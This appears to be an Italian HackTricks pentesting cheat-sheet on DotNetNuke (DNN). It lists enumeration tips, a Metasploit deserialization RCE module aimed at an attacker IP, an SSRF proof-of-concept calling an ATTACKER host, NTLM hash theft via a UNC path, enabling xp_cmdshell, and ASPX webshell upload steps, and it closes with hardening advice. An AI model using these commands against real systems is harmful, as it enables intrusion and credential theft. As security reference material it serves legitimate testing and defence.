DotNetNuke (DNN)

Reading time: 5 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

DotNetNuke (DNN)

Se accedi come amministratore in DNN è facile ottenere RCE, tuttavia un certo numero di tecniche non autenticate e post-autenticazione sono state pubblicate negli ultimi anni. Il seguente cheat-sheet raccoglie le primitive più utili sia per il lavoro offensivo che difensivo.


Enumerazione della Versione & Ambiente

  • Controlla l'intestazione di risposta HTTP X-DNN – di solito rivela la versione esatta della piattaforma.
  • Il wizard di installazione rivela la versione in /Install/Install.aspx?mode=install (accessibile su installazioni molto vecchie).
  • /API/PersonaBar/GetStatus (9.x) restituisce un blob JSON contenente "dnnVersion" per utenti a bassa privilegio.
  • Cookie tipici che vedrai su un'istanza live:
  • .DOTNETNUKE – ticket di autenticazione dei moduli ASP.NET.
  • DNNPersonalization – contiene dati del profilo utente in XML/serializzati (versioni vecchie – vedi RCE qui sotto).

Sfruttamento Non Autenticato

Versioni interessate ≤ 9.3.0-RC

DNNPersonalization viene deserializzato ad ogni richiesta quando il gestore 404 integrato è abilitato. XML creato ad arte può quindi portare a catene di gadget arbitrarie ed esecuzione di codice.

msf> use exploit/windows/http/dnn_cookie_deserialization_rce
msf> set RHOSTS <target>
msf> set LHOST  <attacker_ip>
msf> run

Il modulo sceglie automaticamente il percorso giusto per le versioni patchate ma ancora vulnerabili (CVE-2018-15811/15812/18325/18326). L'exploitation funziona senza autenticazione su 7.x–9.1.x e con un account verificato a basso privilegio su 9.2.x+.

2. Server-Side Request Forgery (CVE-2025-32372)

Versioni interessate < 9.13.8 – Patch rilasciata aprile 2025

Un bypass della vecchia correzione DnnImageHandler consente a un attaccante di costringere il server a emettere richieste GET arbitrarie (SSRF semi-alla cieca). Impatti pratici:

  • Scansione delle porte interne / scoperta dei servizi metadata nelle implementazioni cloud.
  • Raggiungere host altrimenti protetti da firewall da Internet.

Proof-of-concept (sostituire TARGET & ATTACKER):

https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc

La richiesta viene attivata in background; monitora il tuo listener per i callback.

3. Esposizione dell'Hash NTLM tramite Redirect UNC (CVE-2025-52488)

Versioni interessate 6.0.0 – 9.x (< 10.0.1)

Contenuti appositamente creati possono far sì che DNN tenti di recuperare una risorsa utilizzando un percorso UNC come \\attacker\share\img.png. Windows eseguirà felicemente la negoziazione NTLM, rivelando gli hash degli account server all'attaccante. Aggiorna a 10.0.1 o disabilita SMB in uscita nel firewall.

4. Bypass del Filtro IP (CVE-2025-52487)

Se gli amministratori si affidano ai Filtri Host/IP per la protezione del portale admin, sii consapevole che le versioni precedenti a 10.0.1 possono essere bypassate manipolando X-Forwarded-For in uno scenario di reverse-proxy.


Post-Autenticazione a RCE

Tramite console SQL

Sotto Impostazioni → SQL una finestra di query integrata consente l'esecuzione contro il database del sito. Su Microsoft SQL Server puoi abilitare xp_cmdshell e generare comandi:

sql
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
xp_cmdshell 'whoami';

Via upload di webshell ASPX

  1. Vai a Impostazioni → Sicurezza → Altro → Ulteriori impostazioni di sicurezza.
  2. Aggiungi aspx (o asp) a Estensioni di file consentite e Salva.
  3. Naviga a /admin/file-management e carica shell.aspx.
  4. Attivalo su /Portals/0/shell.aspx.

Escalation dei privilegi su Windows

Una volta ottenuta l'esecuzione del codice come IIS AppPool<Site>, si applicano tecniche comuni di escalation dei privilegi di Windows. Se la macchina è vulnerabile, puoi sfruttare:

  • PrintSpoofer / SpoolFool per abusare di SeImpersonatePrivilege.
  • Juicy/Sharp Potatoes per sfuggire a Service Accounts.

Raccomandazioni di indurimento (Blue Team)

  • Aggiorna ad almeno 9.13.9 (risolve il bypass SSRF) o preferibilmente 10.0.1 (problemi di filtro IP e NTLM).
  • Rimuovi i file residui InstallWizard.aspx* dopo l'installazione.
  • Disabilita l'uscita SMB outbound (porte 445/139).
  • Applica filtri Host forti sul proxy di edge piuttosto che all'interno di DNN.
  • Blocca l'accesso a /API/RemoteContentProxy se non utilizzato.

Riferimenti

  • Documentazione del modulo Metasploit dnn_cookie_deserialization_rce – dettagli pratici su RCE non autenticato (GitHub).
  • Avviso di sicurezza GitHub GHSA-3f7v-qx94-666m – informazioni sul bypass SSRF del 2025 e patch.

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks